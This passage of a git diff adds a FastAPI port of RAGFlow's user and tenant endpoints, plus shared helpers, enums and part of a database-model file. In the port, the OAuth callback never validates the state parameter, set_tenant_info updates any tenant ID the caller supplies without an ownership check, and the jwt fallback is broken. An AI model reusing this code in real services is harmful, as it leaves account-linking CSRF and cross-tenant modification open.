+ } + + user_id = get_uuid() + try: + users = user_register(user_id, user_dict) + if not users: + raise Exception(f"Fail to register {email_address}.") + if len(users) > 1: + raise Exception(f"Same email: {email_address} exists!") + user = users[0] + login_user(user) + return construct_response( + data=user.to_json(), + auth=user.get_id(), + message=f"{nickname}, welcome aboard!", + ) + except Exception as e: + rollback_user_registration(user_id) + logging.exception(e) + return get_json_result( + data=False, + message=f"User registration failure, error: {str(e)}", + code=settings.RetCode.EXCEPTION_ERROR, + ) + + +@manager.route("/tenant_info", methods=["GET"]) # noqa: F821 +@login_required +def tenant_info(): + """ + Get tenant information. + --- + tags: + - Tenant + security: + - ApiKeyAuth: [] + responses: + 200: + description: Tenant information retrieved successfully. + schema: + type: object + properties: + tenant_id: + type: string + description: Tenant ID. + name: + type: string + description: Tenant name. + llm_id: + type: string + description: LLM ID. + embd_id: + type: string + description: Embedding model ID. + """ + try: + tenants = TenantService.get_info_by(current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + return get_json_result(data=tenants[0]) + except Exception as e: + return server_error_response(e) + + +@manager.route("/set_tenant_info", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("tenant_id", "asr_id", "embd_id", "img2txt_id", "llm_id") +def set_tenant_info(): + """ + Update tenant information. + --- + tags: + - Tenant + security: + - ApiKeyAuth: [] + parameters: + - in: body + name: body + description: Tenant information to update. + required: true + schema: + type: object + properties: + tenant_id: + type: string + description: Tenant ID. + llm_id: + type: string + description: LLM ID. + embd_id: + type: string + description: Embedding model ID. + asr_id: + type: string + description: ASR model ID. + img2txt_id: + type: string + description: Image to Text model ID. + responses: + 200: + description: Tenant information updated successfully. + schema: + type: object + """ + req = request.json + try: + tid = req.pop("tenant_id") + TenantService.update_by_id(tid, req) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/user_app_fastapi.py b/api/apps/user_app_fastapi.py new file mode 100644 index 0000000..1eb172e --- /dev/null +++ b/api/apps/user_app_fastapi.py @@ -0,0 +1,540 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import re +import secrets +from datetime import datetime +from typing import Optional, Dict, Any + +from fastapi import APIRouter, Depends, HTTPException, Request, Response, status +from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials +from fastapi.responses import RedirectResponse +from pydantic import BaseModel, EmailStr +try: + from werkzeug.security import check_password_hash, generate_password_hash +except ImportError: + # 如果没有werkzeug，使用passlib作为替代 + from passlib.context import CryptContext + pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto") + + def check_password_hash(hashed, password): + return pwd_context.verify(password, hashed) + + def generate_password_hash(password): + return pwd_context.hash(password) + +from api import settings +from api.apps.auth import get_auth_client +from api.db import FileType, UserTenantRole +from api.db.db_models import TenantLLM +from api.db.services.file_service import FileService +from api.db.services.llm_service import get_init_tenant_llm +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.user_service import TenantService, UserService, UserTenantService +from api.utils import ( + current_timestamp, + datetime_format, + download_img, + get_format_time, + get_uuid, +) +from api.utils.api_utils import ( + construct_response, + get_data_error_result, + get_json_result, + server_error_response, + validate_request, +) +from api.utils.crypt import decrypt + +# 创建路由器 +router = APIRouter() + +# 安全方案 +security = HTTPBearer() + +# Pydantic模型 +class LoginRequest(BaseModel): + email: EmailStr + password: str + +class RegisterRequest(BaseModel): + nickname: str + email: EmailStr + password: str + +class UserSettingRequest(BaseModel): + nickname: Optional[str] = None + password: Optional[str] = None + new_password: Optional[str] = None + +class TenantInfoRequest(BaseModel): + tenant_id: str + asr_id: str + embd_id: str + img2txt_id: str + llm_id: str + +# 依赖项：获取当前用户 +async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)): + """获取当前用户""" + from api.db import StatusEnum + try: + from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer + except ImportError: + # 如果没有itsdangerous，使用jwt作为替代 + import jwt + Serializer = jwt + + jwt = Serializer(secret_key=settings.SECRET_KEY) + authorization = credentials.credentials + + if authorization: + try: + access_token = str(jwt.loads(authorization)) + + if not access_token or not access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication attempt with empty access token" + ) + + # Access tokens should be UUIDs (32 hex characters) + if len(access_token.strip()) < 32: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Authentication attempt with invalid token format: {len(access_token)} chars" + ) + + user = UserService.query( + access_token=access_token, status=StatusEnum.VALID.value + ) + if user: + if not user[0].access_token or not user[0].access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"User {user[0].email} has empty access_token in database" + ) + return user[0] + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid access token" + ) + except Exception as e: + logging.warning(f"load_user got exception {e}") + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid access token" + ) + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authorization header required" + ) + +@router.post("/login") +async def login(request: LoginRequest): + """ + 用户登录端点 + """ + email = request.email + users = UserService.query(email=email) + if not users: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Email: {email} is not registered!" + ) + + password = request.password + try: + password = decrypt(password) + except BaseException: + raise HTTPException( + status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, + detail="Fail to crypt password" + ) + + user = UserService.query_user(email, password) + + if user and hasattr(user, 'is_active') and user.is_active == "0": + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="This account has been disabled, please contact the administrator!" + ) + elif user: + response_data = user.to_json() + user.access_token = get_uuid() + user.update_time = (current_timestamp(),) + user.update_date = (datetime_format(datetime.now()),) + user.save() + msg = "Welcome back!" + return construct_response(data=response_data, auth=user.get_id(), message=msg) + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Email and password do not match!" + ) + +@router.get("/login/channels") +async def get_login_channels(): + """ + 获取所有支持的身份验证渠道 + """ + try: + channels = [] + for channel, config in settings.OAUTH_CONFIG.items(): + channels.append( + { + "channel": channel, + "display_name": config.get("display_name", channel.title()), + "icon": config.get("icon", "sso"), + } + ) + return get_json_result(data=channels) + except Exception as e: + logging.exception(e) + raise HTTPException( + status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, + detail=f"Load channels failure, error: {str(e)}" + ) + +@router.get("/login/{channel}") +async def oauth_login(channel: str, request: Request): + """OAuth登录""" + channel_config = settings.OAUTH_CONFIG.get(channel) + if not channel_config: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Invalid channel name: {channel}" + ) + + auth_cli = get_auth_client(channel_config) + state = get_uuid() + + # 在FastAPI中，我们需要使用session来存储state + # 这里简化处理，实际应该使用FastAPI的session管理 + auth_url = auth_cli.get_authorization_url(state) + return RedirectResponse(url=auth_url) + +@router.get("/oauth/callback/{channel}") +async def oauth_callback(channel: str, request: Request): + """ + 处理各种渠道的OAuth/OIDC回调 + """ + try: + channel_config = settings.OAUTH_CONFIG.get(channel) + if not channel_config: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Invalid channel name: {channel}" + ) + + auth_cli = get_auth_client(channel_config) + + # 检查state + state = request.query_params.get("state") + # 在实际应用中，应该从session中获取state进行比较 + if not state: + return RedirectResponse(url="/?error=invalid_state") + + # 获取授权码 + code = request.query_params.get("code") + if not code: + return RedirectResponse(url="/?error=missing_code") + + # 交换授权码获取访问令牌 + token_info = auth_cli.exchange_code_for_token(code) + access_token = token_info.get("access_token") + if not access_token: + return RedirectResponse(url="/?error=token_failed") + + id_token = token_info.get("id_token") + + # 获取用户信息 + user_info = auth_cli.fetch_user_info(access_token, id_token=id_token) + if not user_info.email: + return RedirectResponse(url="/?error=email_missing") + + # 登录或注册 + users = UserService.query(email=user_info.email) + user_id = get_uuid() + + if not users: + try: + try: + avatar = download_img(user_info.avatar_url) + except Exception as e: + logging.exception(e) + avatar = "" + + users = user_register( + user_id, + { + "access_token": get_uuid(), + "email": user_info.email, + "avatar": avatar, + "nickname": user_info.nickname, + "login_channel": channel, + "last_login_time": get_format_time(), + "is_superuser": False, + }, + ) + + if not users: + raise Exception(f"Failed to register {user_info.email}") + if len(users) > 1: + raise Exception(f"Same email: {user_info.email} exists!") + + # 尝试登录 + user = users[0] + return RedirectResponse(url=f"/?auth={user.get_id()}") + + except Exception as e: + rollback_user_registration(user_id) + logging.exception(e) + return RedirectResponse(url=f"/?error={str(e)}") + + # 用户存在，尝试登录 + user = users[0] + user.access_token = get_uuid() + if user and hasattr(user, 'is_active') and user.is_active == "0": + return RedirectResponse(url="/?error=user_inactive") + + user.save() + return RedirectResponse(url=f"/?auth={user.get_id()}") + except Exception as e: + logging.exception(e) + return RedirectResponse(url=f"/?error={str(e)}") + +@router.get("/logout") +async def log_out(current_user = Depends(get_current_user)): + """ + 用户登出端点 + """ + current_user.access_token = f"INVALID_{secrets.token_hex(16)}" + current_user.save() + return get_json_result(data=True) + +@router.post("/setting") +async def setting_user(request: UserSettingRequest, current_user = Depends(get_current_user)): + """ + 更新用户设置 + """ + update_dict = {} + request_data = request.dict() + + if request_data.get("password"): + new_password = request_data.get("new_password") + if not check_password_hash(current_user.password, decrypt(request_data["password"])): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Password error!" + ) + + if new_password: + update_dict["password"] = generate_password_hash(decrypt(new_password)) + + for k in request_data.keys(): + if k in [ + "password", + "new_password", + "email", + "status", + "is_superuser", + "login_channel", + "is_anonymous", + "is_active", + "is_authenticated", + "last_login_time", + ]: + continue + update_dict[k] = request_data[k] + + try: + UserService.update_by_id(current_user.id, update_dict) + return get_json_result(data=True) + except Exception as e: + logging.exception(e) + raise HTTPException( + status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, + detail="Update failure!" + ) + +@router.get("/info") +async def user_profile(current_user = Depends(get_current_user)): + """ + 获取用户配置文件信息 + """ + return get_json_result(data=current_user.to_dict()) + +def rollback_user_registration(user_id): + """回滚用户注册""" + try: + UserService.delete_by_id(user_id) + except Exception: + pass + try: + TenantService.delete_by_id(user_id) + except Exception: + pass + try: + u = UserTenantService.query(tenant_id=user_id) + if u: + UserTenantService.delete_by_id(u[0].id) + except Exception: + pass + try: + TenantLLM.delete().where(TenantLLM.tenant_id == user_id).execute() + except Exception: + pass + +def user_register(user_id, user): + """用户注册""" + user["id"] = user_id + tenant = { + "id": user_id, + "name": user["nickname"] + "'s Kingdom", + "llm_id": settings.CHAT_MDL, + "embd_id": settings.EMBEDDING_MDL, + "asr_id": settings.ASR_MDL, + "parser_ids": settings.PARSERS, + "img2txt_id": settings.IMAGE2TEXT_MDL, + "rerank_id": settings.RERANK_MDL, + } + usr_tenant = { + "tenant_id": user_id, + "user_id": user_id, + "invited_by": user_id, + "role": UserTenantRole.OWNER, + } + file_id = get_uuid() + file = { + "id": file_id, + "parent_id": file_id, + "tenant_id": user_id, + "created_by": user_id, + "name": "/", + "type": FileType.FOLDER.value, + "size": 0, + "location": "", + } + + tenant_llm = get_init_tenant_llm(user_id) + + if not UserService.save(**user): + return + TenantService.insert(**tenant) + UserTenantService.insert(**usr_tenant) + TenantLLMService.insert_many(tenant_llm) + FileService.insert(file) + return UserService.query(email=user["email"]) + +@router.post("/register") +async def user_add(request: RegisterRequest): + """ + 注册新用户 + """ + if not settings.REGISTER_ENABLED: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="User registration is disabled!" + ) + + email_address = request.email + + # 验证邮箱地址 + if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,}$", email_address): + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Invalid email address: {email_address}!" + ) + + # 检查邮箱地址是否已被使用 + if UserService.query(email=email_address): + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Email: {email_address} has already registered!" + ) + + # 构建用户信息数据 + nickname = request.nickname + user_dict = { + "access_token": get_uuid(), + "email": email_address, + "nickname": nickname, + "password": decrypt(request.password), + "login_channel": "password", + "last_login_time": get_format_time(), + "is_superuser": False, + } + + user_id = get_uuid() + try: + users = user_register(user_id, user_dict) + if not users: + raise Exception(f"Fail to register {email_address}.") + if len(users) > 1: + raise Exception(f"Same email: {email_address} exists!") + user = users[0] + return construct_response( + data=user.to_json(), + auth=user.get_id(), + message=f"{nickname}, welcome aboard!", + ) + except Exception as e: + rollback_user_registration(user_id) + logging.exception(e) + raise HTTPException( + status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, + detail=f"User registration failure, error: {str(e)}" + ) + +@router.get("/tenant_info") +async def tenant_info(current_user = Depends(get_current_user)): + """ + 获取租户信息 + """ + try: + tenants = TenantService.get_info_by(current_user.id) + if not tenants: + raise HTTPException( + status_code=status.HTTP_404_NOT_FOUND, + detail="Tenant not found!" + ) + return get_json_result(data=tenants[0]) + except Exception as e: + raise HTTPException( + status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, + detail=str(e) + ) + +@router.post("/set_tenant_info") +async def set_tenant_info(request: TenantInfoRequest, current_user = Depends(get_current_user)): + """ + 更新租户信息 + """ + try: + req_dict = request.dict() + tid = req_dict.pop("tenant_id") + TenantService.update_by_id(tid, req_dict) + return get_json_result(data=True) + except Exception as e: + raise HTTPException( + status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, + detail=str(e) + ) diff --git a/api/common/README.md b/api/common/README.md new file mode 100644 index 0000000..02f6302 --- /dev/null +++ b/api/common/README.md @@ -0,0 +1,2 @@ +The python files in this directory are shared between service. They contain common utilities, models, and functions that can be used across various +services to ensure consistency and reduce code duplication. \ No newline at end of file diff --git a/api/common/base64.py b/api/common/base64.py new file mode 100644 index 0000000..2b37dd2 --- /dev/null +++ b/api/common/base64.py @@ -0,0 +1,21 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import base64 + +def encode_to_base64(input_string): + base64_encoded = base64.b64encode(input_string.encode('utf-8')) + return base64_encoded.decode('utf-8') \ No newline at end of file diff --git a/api/common/check_team_permission.py b/api/common/check_team_permission.py new file mode 100644 index 0000000..c8e04d3 --- /dev/null +++ b/api/common/check_team_permission.py @@ -0,0 +1,59 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +from api.db import TenantPermission +from api.db.db_models import File, Knowledgebase +from api.db.services.file_service import FileService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.user_service import TenantService + + +def check_kb_team_permission(kb: dict | Knowledgebase, other: str) -> bool: + kb = kb.to_dict() if isinstance(kb, Knowledgebase) else kb + + kb_tenant_id = kb["tenant_id"] + + if kb_tenant_id == other: + return True + + if kb["permission"] != TenantPermission.TEAM: + return False + + joined_tenants = TenantService.get_joined_tenants_by_user_id(other) + return any(tenant["tenant_id"] == kb_tenant_id for tenant in joined_tenants) + + +def check_file_team_permission(file: dict | File, other: str) -> bool: + file = file.to_dict() if isinstance(file, File) else file + + file_tenant_id = file["tenant_id"] + if file_tenant_id == other: + return True + + file_id = file["id"] + + kb_ids = [kb_info["kb_id"] for kb_info in FileService.get_kb_id_by_file_id(file_id)] + + for kb_id in kb_ids: + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + continue + + if check_kb_team_permission(kb, other): + return True + + return False diff --git a/api/common/exceptions.py b/api/common/exceptions.py new file mode 100644 index 0000000..5ce0e0b --- /dev/null +++ b/api/common/exceptions.py @@ -0,0 +1,21 @@ +class AdminException(Exception): + def __init__(self, message, code=400): + super().__init__(message) + self.type = "admin" + self.code = code + self.message = message + + +class UserNotFoundError(AdminException): + def __init__(self, username): + super().__init__(f"User '{username}' not found", 404) + + +class UserAlreadyExistsError(AdminException): + def __init__(self, username): + super().__init__(f"User '{username}' already exists", 409) + + +class CannotDeleteAdminError(AdminException): + def __init__(self): + super().__init__("Cannot delete admin account", 403) \ No newline at end of file diff --git a/api/constants.py b/api/constants.py new file mode 100644 index 0000000..ce5cdeb --- /dev/null +++ b/api/constants.py @@ -0,0 +1,28 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +NAME_LENGTH_LIMIT = 2**10 + +IMG_BASE64_PREFIX = "data:image/png;base64," + +SERVICE_CONF = "service_conf.yaml" + +API_VERSION = "v1" +RAG_FLOW_SERVICE_NAME = "ragflow" +REQUEST_WAIT_SEC = 2 +REQUEST_MAX_WAIT_SEC = 300 + +DATASET_NAME_LIMIT = 128 +FILE_NAME_LEN_LIMIT = 255 diff --git a/api/db/__init__.py b/api/db/__init__.py new file mode 100644 index 0000000..6e92434 --- /dev/null +++ b/api/db/__init__.py @@ -0,0 +1,141 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from enum import Enum +from enum import IntEnum +from strenum import StrEnum + + +class StatusEnum(Enum): + VALID = "1" + INVALID = "0" + + +class ActiveEnum(Enum): + ACTIVE = "1" + INACTIVE = "0" + + +class UserTenantRole(StrEnum): + OWNER = 'owner' + ADMIN = 'admin' + NORMAL = 'normal' + INVITE = 'invite' + + +class TenantPermission(StrEnum): + ME = 'me' + TEAM = 'team' + + +class SerializedType(IntEnum): + PICKLE = 1 + JSON = 2 + + +class FileType(StrEnum): + PDF = 'pdf' + DOC = 'doc' + VISUAL = 'visual' + AURAL = 'aural' + VIRTUAL = 'virtual' + FOLDER = 'folder' + OTHER = "other" + +VALID_FILE_TYPES = {FileType.PDF, FileType.DOC, FileType.VISUAL, FileType.AURAL, FileType.VIRTUAL, FileType.FOLDER, FileType.OTHER} + +class LLMType(StrEnum): + CHAT = 'chat' + EMBEDDING = 'embedding' + SPEECH2TEXT = 'speech2text' + IMAGE2TEXT = 'image2text' + RERANK = 'rerank' + TTS = 'tts' + + +class ChatStyle(StrEnum): + CREATIVE = 'Creative' + PRECISE = 'Precise' + EVENLY = 'Evenly' + CUSTOM = 'Custom' + + +class TaskStatus(StrEnum): + UNSTART = "0" + RUNNING = "1" + CANCEL = "2" + DONE = "3" + FAIL = "4" + + +VALID_TASK_STATUS = {TaskStatus.UNSTART, TaskStatus.RUNNING, TaskStatus.CANCEL, TaskStatus.DONE, TaskStatus.FAIL} + + +class ParserType(StrEnum): + PRESENTATION = "presentation" + LAWS = "laws" + MANUAL = "manual" + PAPER = "paper" + RESUME = "resume" + BOOK = "book" + QA = "qa" + TABLE = "table" + NAIVE = "naive" + PICTURE = "picture" + ONE = "one" + AUDIO = "audio" + EMAIL = "email" + KG = "knowledge_graph" + TAG = "tag" + + +class FileSource(StrEnum): + LOCAL = "" + KNOWLEDGEBASE = "knowledgebase" + S3 = "s3" + + +class CanvasType(StrEnum): + ChatBot = "chatbot" + DocBot = "docbot" + + +class CanvasCategory(StrEnum): + Agent = "agent_canvas" + DataFlow = "dataflow_canvas" + +VALID_CANVAS_CATEGORIES = {CanvasCategory.Agent, CanvasCategory.DataFlow} + + +class MCPServerType(StrEnum): + SSE = "sse" + STREAMABLE_HTTP = "streamable-http" + + +VALID_MCP_SERVER_TYPES = {MCPServerType.SSE, MCPServerType.STREAMABLE_HTTP} + + +class PipelineTaskType(StrEnum): + PARSE = "Parse" + DOWNLOAD = "Download" + RAPTOR = "RAPTOR" + GRAPH_RAG = "GraphRAG" + MINDMAP = "Mindmap" + + +VALID_PIPELINE_TASK_TYPES = {PipelineTaskType.PARSE, PipelineTaskType.DOWNLOAD, PipelineTaskType.RAPTOR, PipelineTaskType.GRAPH_RAG, PipelineTaskType.MINDMAP} + + +KNOWLEDGEBASE_FOLDER_NAME=".knowledgebase" diff --git a/api/db/db_models.py b/api/db/db_models.py new file mode 100644 index 0000000..d31586d --- /dev/null +++ b/api/db/db_models.py @@ -0,0 +1,1146 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import hashlib +import inspect +import logging +import operator +import os +import sys +import time +import typing +from enum import Enum +from functools import wraps + +from flask_login import UserMixin +from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer +from peewee import InterfaceError, OperationalError, BigIntegerField, BooleanField, CharField, CompositeKey, DateTimeField, Field, FloatField, IntegerField, Metadata, Model, TextField +from playhouse.migrate import MySQLMigrator, PostgresqlMigrator, migrate +from playhouse.pool import PooledMySQLDatabase, PooledPostgresqlDatabase + +from api import settings, utils +from api.db import ParserType, SerializedType +from api.utils.json import json_dumps, json_loads +from api.utils.configs import deserialize_b64, serialize_b64 + + +def singleton(cls, *args, **kw): + instances = {} + + def _singleton(): + key = str(cls) + str(os.getpid()) + if key not in instances: + instances[key] = cls(*args, **kw) + return instances[key] + + return _singleton + + +CONTINUOUS_FIELD_TYPE = {IntegerField, FloatField, DateTimeField} +AUTO_DATE_TIMESTAMP_FIELD_PREFIX = {"create", "start", "end", "update", "read_access", "write_access"} + + +class TextFieldType(Enum): + MYSQL = "LONGTEXT" + POSTGRES = "TEXT" + + +class LongTextField(TextField): + field_type = TextFieldType[settings.DATABASE_TYPE.upper()].value + + +class JSONField(LongTextField): + default_value = {} + + def __init__(self, object_hook=None, object_pairs_hook=None, **kwargs): + self._object_hook = object_hook + self._object_pairs_hook = object_pairs_hook + super().__init__(**kwargs) + + def db_value(self, value): + if value is None: + value = self.default_value + return json_dumps(value) + + def python_value(self, value): + if not value: + return self.default_value + return json_loads(value, object_hook=self._object_hook, object_pairs_hook=self._object_pairs_hook) + + +class ListField(JSONField): + default_value = [] + + +class SerializedField(LongTextField): + def __init__(self, serialized_type=SerializedType.PICKLE, object_hook=None, object_pairs_hook=None, **kwargs): + self._serialized_type = serialized_type + self._object_hook = object_hook + self._object_pairs_hook = object_pairs_hook + super().__init__(**kwargs) + + def db_value(self, value): + if self._serialized_type == SerializedType.PICKLE: + return serialize_b64(value, to_str=True) + elif self._serialized_type == SerializedType.JSON: + if value is None: + return None + return json_dumps(value, with_type=True) + else: + raise ValueError(f"the serialized type {self._serialized_type} is not supported") + + def python_value(self, value): + if self._serialized_type == SerializedType.PICKLE: + return deserialize_b64(value) + elif self._serialized_type == SerializedType.JSON: + if value is None: + return {} + return json_loads(value, object_hook=self._object_hook, object_pairs_hook=self._object_pairs_hook) + else: + raise ValueError(f"the serialized type {self._serialized_type} is not supported") + + +def is_continuous_field(cls: typing.Type) -> bool: + if cls in CONTINUOUS_FIELD_TYPE: + return True + for p in cls.__bases__: + if p in CONTINUOUS_FIELD_TYPE: + return True + elif p is not Field and p is not object: + if is_continuous_field(p): + return True + else: + return False + + +def auto_date_timestamp_field(): + return {f"{f}_time" for f in AUTO_DATE_TIMESTAMP_FIELD_PREFIX} + + +def auto_date_timestamp_db_field(): + return {f"f_{f}_time" for f in AUTO_DATE_TIMESTAMP_FIELD_PREFIX} + + +def remove_field_name_prefix(field_name): + return field_name[2:] if field_name.startswith("f_") else field_name + + +class BaseModel(Model): + create_time = BigIntegerField(null=True, index=True) + create_date = DateTimeField(null=True, index=True) + update_time = BigIntegerField(null=True, index=True) + update_date = DateTimeField(null=True, index=True) + + def to_json(self): + # This function is obsolete + return self.to_dict() + + def to_dict(self): + return self.__dict__["__data__"] + + def to_human_model_dict(self, only_primary_with: list = None): + model_dict = self.__dict__["__data__"] + + if not only_primary_with: + return {remove_field_name_prefix(k): v for k, v in model_dict.items()} + + human_model_dict = {} + for k in self._meta.primary_key.field_names: + human_model_dict[remove_field_name_prefix(k)] = model_dict[k] + for k in only_primary_with: + human_model_dict[k] = model_dict[f"f_{k}"] + return human_model_dict + + @property + def meta(self) -> Metadata: + return self._meta + + @classmethod + def get_primary_keys_name(cls): + return cls._meta.primary_key.field_names if isinstance(cls._meta.primary_key, CompositeKey) else [cls._meta.primary_key.name] + + @classmethod + def getter_by(cls, attr): + return operator.attrgetter(attr)(cls) + + @classmethod + def query(cls, reverse=None, order_by=None, **kwargs): + filters = [] + for f_n, f_v in kwargs.items(): + attr_name = "%s" % f_n + if not hasattr(cls, attr_name) or f_v is None: + continue + if type(f_v) in {list, set}: + f_v = list(f_v) + if is_continuous_field(type(getattr(cls, attr_name))): + if len(f_v) == 2: + for i, v in enumerate(f_v): + if isinstance(v, str) and f_n in auto_date_timestamp_field(): + # time type: %Y-%m-%d %H:%M:%S + f_v[i] = utils.date_string_to_timestamp(v) + lt_value = f_v[0] + gt_value = f_v[1] + if lt_value is not None and gt_value is not None: + filters.append(cls.getter_by(attr_name).between(lt_value, gt_value)) + elif lt_value is not None: + filters.append(operator.attrgetter(attr_name)(cls) >= lt_value) + elif gt_value is not None: + filters.append(operator.attrgetter(attr_name)(cls) <= gt_value) + else: + filters.append(operator.attrgetter(attr_name)(cls) << f_v) + else: + filters.append(operator.attrgetter(attr_name)(cls) == f_v) + if filters: + query_records = cls.select().where(*filters) + if reverse is not None: + if not order_by or not hasattr(cls, f"{order_by}"): + order_by = "create_time" + if reverse is True: + query_records = query_records.order_by(cls.getter_by(f"{order_by}").desc()) + elif reverse is False: + query_records = query_records.order_by(cls.getter_by(f"{order_by}").asc()) + return [query_record for query_record in query_records] + else: + return [] + + @classmethod + def insert(cls, __data=None, **insert): + if isinstance(__data, dict) and __data: + __data[cls._meta.combined["create_time"]] = utils.current_timestamp() + if insert: + insert["create_time"] = utils.current_timestamp() + + return super().insert(__data, **insert) + + # update and insert will call this method + @classmethod + def _normalize_data(cls, data, kwargs): + normalized = super()._normalize_data(data, kwargs) + if not normalized: + return {} + + normalized[cls._meta.combined["update_time"]] = utils.current_timestamp() + + for f_n in AUTO_DATE_TIMESTAMP_FIELD_PREFIX: + if {f"{f_n}_time", f"{f_n}_date"}.issubset(cls._meta.combined.keys()) and cls._meta.combined[f"{f_n}_time"] in normalized and normalized[cls._meta.combined[f"{f_n}_time"]] is not None: + normalized[cls._meta.combined[f"{f_n}_date"]] = utils.timestamp_to_date(normalized[cls._meta.combined[f"{f_n}_time"]]) + + return normalized + + +class JsonSerializedField(SerializedField): + def __init__(self, object_hook=utils.from_dict_hook, object_pairs_hook=None, **kwargs): + super(JsonSerializedField, self).__init__(serialized_type=SerializedType.JSON, object_hook=object_hook, object_pairs_hook=object_pairs_hook, **kwargs) + + +class RetryingPooledMySQLDatabase(PooledMySQLDatabase): + def __init__(self, *args, **kwargs): + self.max_retries = kwargs.pop("max_retries", 5) + self.retry_delay = kwargs.pop("retry_delay", 1) + super().__init__(*args, **kwargs) + + def execute_sql(self, sql, params=None, commit=True): + for attempt in range(self.max_retries + 1): + try: + return super().execute_sql(sql, params, commit) + except (OperationalError, InterfaceError) as e: + error_codes = [2013, 2006] + error_messages = ['', 'Lost connection'] + should_retry = ( + (hasattr(e, 'args') and e.args and e.args[0] in error_codes) or + (str(e) in error_messages) or + (hasattr(e, '__class__') and e.__class__.__name__ == 'InterfaceError') + ) + + if should_retry and attempt < self.max_retries: + logging.warning( + f"Database connection issue (attempt {attempt+1}/{self.max_retries}): {e}" + ) + self._handle_connection_loss() + time.sleep(self.retry_delay * (2 ** attempt)) + else: + logging.error(f"DB execution failure: {e}") + raise + return None + + def _handle_connection_loss(self): + # self.close_all() + # self.connect() + try: + self.close() + except Exception: + pass + try: + self.connect() + except Exception as e: + logging.error(f"Failed to reconnect: {e}") + time.sleep(0.1) + self.connect() + + def begin(self): + for attempt in range(self.max_retries + 1): + try: + return super().begin() + except (OperationalError, InterfaceError) as e: + error_codes = [2013, 2006] + error_messages = ['', 'Lost connection'] + + 